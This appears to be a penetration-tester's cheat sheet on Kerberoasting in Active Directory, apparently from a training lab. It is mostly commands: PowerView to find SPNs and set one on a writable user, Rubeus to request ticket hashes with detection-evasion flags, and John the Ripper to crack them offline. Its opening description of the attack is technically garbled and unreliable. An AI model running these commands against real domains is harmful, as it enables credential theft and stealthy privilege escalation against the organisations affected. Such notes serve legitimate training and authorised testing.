Kerberoast

In a Kerberoast attack, the attacker requests a Kerberos session ticket (TGS) to retrieve the service account's NTLM hash, which is partially encrypted with the service account's hash. This hash is then cracked offline to extract the service account's password.

SPNs

Find SPNs

PowerView

Get-DomainUser -SPN

AD Module

Set SPNs

With enough rights (GenericAll/GenericWrite), a target user's SPN can be set

PowerView

# Find Permissions - for example RDPUsers group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Set SPN
Set-DomainObject -Identity support1user -Set @{serviceprincipalname=‘dcorp/whatever1'}

TGS

# try to downgrade to RC4-HMAC and get hashes
Rubeus.exe kerberoast 

# to avoid detections look for Kerberoastable accounts that only support RC4_HMAC
Rubeus.exe kerberoast /rc4opsec

# Specific SPN - more stealth
Rubeus.exe kerberoast /user:svcadmin  /rc4opsec

# usefull flags
/outfile:hashes.txt # output the hashes into file
/simple # hashes are output in the console one per line
/nowrap # results will not be line wrapped
/stats # will output statistics about kerberoastable users found

Crack

john.exe --wordlist=C:\AD\Tools\kerberoast\10kworst-pass.txt C:\AD\Tools\hashes.txt